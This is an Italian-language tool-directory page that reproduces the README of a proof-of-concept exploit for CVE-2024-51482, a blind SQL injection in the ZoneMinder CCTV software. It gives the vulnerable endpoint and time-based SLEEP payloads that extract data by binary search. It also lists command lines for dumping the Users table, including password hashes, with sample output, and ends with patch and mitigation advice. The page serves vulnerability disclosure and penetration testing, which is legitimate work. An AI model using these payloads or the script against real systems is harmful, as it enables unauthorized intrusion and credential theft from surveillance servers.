Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2024-51482 — ZenoMinder Blind SQL Injection PoC | Kitploit
Strumenti/GitHubGitHub/bridgeralderson/cve-2024-51482
Attacchi alle PasswordAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e FormazioneSicurezza dei Database
GitHubbridgeralderson/cve-2024-51482

CVE-2024-51482

ZenoMinder Blind SQL Injection PoC

Vedi Repository
85 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2024-51482 - ZoneMinder Blind SQL Injection

Indice

  • Panoramica
  • Dettagli della vulnerabilità
  • Analisi tecnica
  • Guida allo sfruttamento
  • Installazione
  • Esempi di utilizzo
  • Mitigazione
  • Riferimenti

Panoramica

CVE-2024-51482 è una vulnerabilità critica di SQL Injection basata su booleani scoperta in ZoneMinder, un popolare software di sorveglianza CCTV open-source. Questa falla interessa le versioni 1.37.* fino alla 1.37.64 e consente a un attaccante autenticato con privilegi bassi di eseguire comandi SQL arbitrari sul database sottostante.

MetricaValore
CVE IDCVE-2024-51482
Punteggio CVSS9.9 (Critico)
Vettore di attaccoRete
Privilegi richiestiBasso
Interazione utenteNessuna
AmbitoModificato
ImpattoRiservatezza, Integrità, Disponibilità - ALTO
Versione corretta1.37.65

Dettagli della vulnerabilità

Versioni affette

  • Vulnerabile: ZoneMinder v1.37.0 fino alla v1.37.64.
  • Corretta: ZoneMinder v1.37.65 e successive.

Causa principale

La vulnerabilità risiede nel file web/ajax/event.php all'interno della funzione removetag. Il parametro tid (ID Tag) viene concatenato direttamente in una query SQL senza una corretta sanificazione o parametrizzazione.

Codice vulnerabile:

root@kitploit:~
case 'removetag': 
    $tagId = $_REQUEST['tid']; 
    dbQuery('DELETE FROM Events_Tags WHERE TagId = ? AND EventId = ?', array($tagId, $_REQUEST['id'])); 
    $sql = "SELECT * FROM Events_Tags WHERE TagId = $tagId"; // VULNERABILE! 
    $rowCount = dbNumRows($sql); 
    // ...

Codice corretto:

root@kitploit:~
$sql = "SELECT * FROM Events_Tags WHERE TagId = ?";
$rowCount = dbNumRows($sql, $tagId); // Query parametrizzata

Vettore di attacco

L'endpoint vulnerabile può essere attivato tramite:

root@kitploit:~
http://target/zm/index.php?view=request&request=event&action=removetag&tid=[PUNTO_DI_INIEZIONE]

Analisi tecnica

Perché Blind Injection basata su booleani?

Il punto di iniezione non restituisce direttamente i risultati della query nella risposta, rendendo impossibili gli attacchi tradizionali basati su UNION. Invece, dobbiamo dedurre le informazioni attraverso condizioni booleane o ritardi temporali.

  • Approccio basato su booleani:
    • Condizione vera → Tempo di risposta normale.
    • Condizione falsa → Tempo di risposta normale.
    • Richiede differenze osservabili nel comportamento dell'applicazione.
  • Approccio basato sul tempo (più affidabile):
    • Condizione vera → Risposta ritardata (SLEEP).
    • Condizione falsa → Tempo di risposta normale.

Meccanismo di sfruttamento

Il nostro exploit utilizza l'estrazione basata sul tempo con la funzione SLEEP():

root@kitploit:~
1 AND (SELECT 1 FROM (SELECT SLEEP(2)) as dummy)

Quando questa condizione è vera, il database dorme per 2 secondi, creando un ritardo misurabile nella risposta HTTP.

Processo di estrazione dei caratteri

  • Ricerca binaria: Per ogni posizione del carattere, testiamo gli intervalli usando ASCII(SUBSTRING()) > MID.
  • Misurazione del tempo: Se la condizione è vera, SLEEP si attiva.
  • Ricostruzione del carattere: Costruiamo la stringa carattere per carattere.

Esempio di payload per estrarre il carattere alla posizione 1:

root@kitploit:~
1 AND (SELECT 1 FROM (SELECT SLEEP(2) FROM DUAL WHERE ASCII(SUBSTRING((SELECT schema_name FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 0,1), 1, 1)) > 100) as dummy)

Guida allo sfruttamento

Prerequisiti

  • Target che esegue ZoneMinder 1.37.0 - 1.37.64.
  • Credenziali valide (default: admin/admin).
  • Accesso di rete all'interfaccia web di ZoneMinder.

Installazione

root@kitploit:~
# Clona il repository
git clone https://github.com/BridgerAlderson/CVE-2024-51482.git
cd CVE-2024-51482

# Rendi lo script eseguibile
chmod +x CVE-2024-51482.py

# Installa le dipendenze richieste
pip3 install requests

Utilizzo di base

root@kitploit:~
# Verifica se il target è vulnerabile
python3 CVE-2024-51482.py -i <host-target> -u admin -p admin --test

# Scopri tutti i database
python3 CVE-2024-51482.py -i <host-target> -u admin -p admin --discover

# Elenca le tabelle in un database specifico
python3 CVE-2024-51482.py -i <host-target> -u admin -p admin --tables zm

# Elenca le colonne in una tabella specifica
python3 CVE-2024-51482.py -i <host-target> -u admin -p admin --columns zm Users

# Estrai dati da colonne specifiche
python3 CVE-2024-51482.py -i <host-target> -u admin -p admin --dump zm Users "Username,Password"

# Estrai la tabella utenti (default)
python3 CVE-2024-51482.py -i <host-target> -u admin -p admin --users

# Abilita output debug per un processo di estrazione dettagliato
python3 CVE-2024-51482.py -i <host-target> -u admin -p admin --users --debug

# Regola il tempo di sleep per un'estrazione più affidabile
python3 CVE-2024-51482.py -i <host-target> -u admin -p admin --users --sleep 3

# Disabilita output colorato
python3 CVE-2024-51482.py -i <host-target> -u admin -p admin --users --no-color

Esempi di utilizzo

Esempio 1: Test della vulnerabilità

root@kitploit:~
$ python3 CVE-2024-51482.py -i 192.168.1.100 -u admin -p admin --test
[*] CVE-2024-51482 - Exploit di SQL Injection cieca su ZoneMinder
[*] Target: 192.168.1.100
[*] Accesso come 'admin' su 192.168.1.100...
[+] Accesso riuscito
[*] Misurazione del tempo di risposta base...
[*] Mediana base: 0.058s
[*] Test della vulnerabilità con sleep di 2s...
[+] Il target è vulnerabile!

Esempio 2: Enumerazione dei database

root@kitploit:~
$ python3 CVE-2024-51482.py -i <host-target> -u admin -p admin --discover
[*] CVE-2024-51482 - Exploit di SQL Injection cieca su ZoneMinder
[*] Target: <host-target>
[*] Accesso come 'admin' su <host-target>...
[+] Accesso riuscito
[*] Misurazione del tempo di risposta base...
[*] Mediana base: 0.065s
[*] Test della vulnerabilità con sleep di 2s...
[+] Il target è vulnerabile!
[*] Enumerazione dei database...
[+] Trovato database: information_schema
[+] Trovato database: performance_schema
[+] Trovato database: zm
[+] Database trovati: 
1. information_schema 
2. performance_schema 
3. zm

Esempio 3: Estrazione delle credenziali utente

root@kitploit:~
$ python3 CVE-2024-51482.py -i <host-target> -u admin -p admin --users
[*] CVE-2024-51482 - Exploit di SQL Injection cieca su ZoneMinder
[*] Target: <host-target>
[*] Accesso come 'admin' su <host-target>...
[+] Accesso riuscito
[*] Misurazione del tempo di risposta base...
[*] Mediana base: 0.062s
[*] Test della vulnerabilità con sleep di 2s...
[+] Il target è vulnerabile!
[*] Estrazione della tabella Users dal database zm...
[*] Enumerazione delle colonne in 'zm.Users'...
[+] Trovata colonna: Id
[+] Trovata colonna: Username
[+] Trovata colonna: Password
[+] Trovata colonna: Language
[+] Trovata colonna: Enabled
[*] Estrazione dei dati da 'zm.Users'...
[+] Riga 1: {'Username': 'admin', 'Password': '$2y$10$...hash...'}
[+] Riga 2: {'Username': 'operator', 'Password': '$2y$10$...hash...'}
[+] Utenti estratti: 2 
Utente: admin 
Pass: $2y$10$...hash... 
Email: admin@localhost 
Abilitato: 1 
Utente: operator 
Pass: $2y$10$...hash... 
Email: operator@localhost 
Abilitato: 1

Esempio 4: Estrazione dati personalizzata

root@kitploit:~
# Estrai colonne specifiche dalla tabella Events
python3 CVE-2024-51482.py -i <host-target> -u admin -p admin --dump zm Events "Id,Name,StartTime,EndTime"

Come funziona l'exploit

Analisi passo passo

  1. Autenticazione: Lo script prima si autentica su ZoneMinder per ottenere un cookie di sessione valido.
  2. Misurazione base: Invia 5 richieste normali per stabilire il tempo di risposta medio.
  3. Conferma vulnerabilità: Testa con un payload SLEEP(2) per verificare che l'iniezione funzioni.
  4. Estrazione dei caratteri: Per ogni posizione del carattere, la ricerca binaria determina il valore ASCII:
    • Query: ASCII(SUBSTRING(({query}), {posizione}, 1)) > {mid}.
    • Se la condizione è vera → SLEEP si attiva → Risposta ritardata.
    • Se la condizione è falsa → Risposta immediata.
  5. Ricostruzione della stringa: I caratteri vengono concatenati per formare stringhe complete.

Caratteristiche principali

  • Algoritmo di ricerca binaria: Estrae i caratteri in log₂(95) ≈ 7 richieste per carattere.
  • Tempistica adattiva: Calibra automaticamente la linea di base per un rilevamento accurato.
  • Indicatore di progresso: Mostra l'avanzamento dell'estrazione in tempo reale.
  • Recupero degli errori: Gestisce correttamente i timeout di connessione.
  • Modalità debug: Mostra l'estrazione dettagliata carattere per carattere.

Mitigazione

Azioni immediate

  • Aggiorna ZoneMinder alla versione 1.37.65 o successiva:
    root@kitploit:~
    sudo apt-get update
    sudo apt-get install zoneminder
    
  • Se l'aggiornamento non è possibile, limita l'accesso allo script vulnerabile:
    root@kitploit:~
    # Configurazione Apache 
    Require ip 192.168.0.0/16
    
  • Implementa il principio del minimo privilegio per gli account del database.
  • Monitora i log per tentativi sospetti di SQL injection:
    root@kitploit:~
    grep -i "sleep\|union\|select" /var/log/zm/*.log
    

Raccomandazioni a lungo termine

  • Utilizza query parametrizzate per tutte le interazioni con il database.
  • Implementa regole per Web Application Firewall (WAF).
  • Esegui audit di sicurezza e test di penetrazione regolari.
  • Mantieni aggiornato ZoneMinder e tutte le dipendenze.

Riferimenti

  • Avviso di sicurezza GitHub - GHSA-qm8h-3xvf-m7j3
  • Voce NVD - CVE-2024-51482
  • Commit della patch
  • CISA Vulnrichment
  • Plugin Tenable Nessus
  • Avviso Check Point

Disclaimer

Questo strumento è fornito esclusivamente a scopo educativo e per test di sicurezza. Il test non autorizzato di sistemi informatici è illegale. Ottieni sempre la dovuta autorizzazione prima di testare qualsiasi sistema.

Stringa del vettore CVSS

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Scarica lo strumento
MetricaValore
Vettore di attaccoRete
Complessità dell'attaccoBassa
Privilegi richiestiBasso
Interazione utenteNessuna
AmbitoModificato
RiservatezzaAlta
IntegritàAlta
DisponibilitàAlta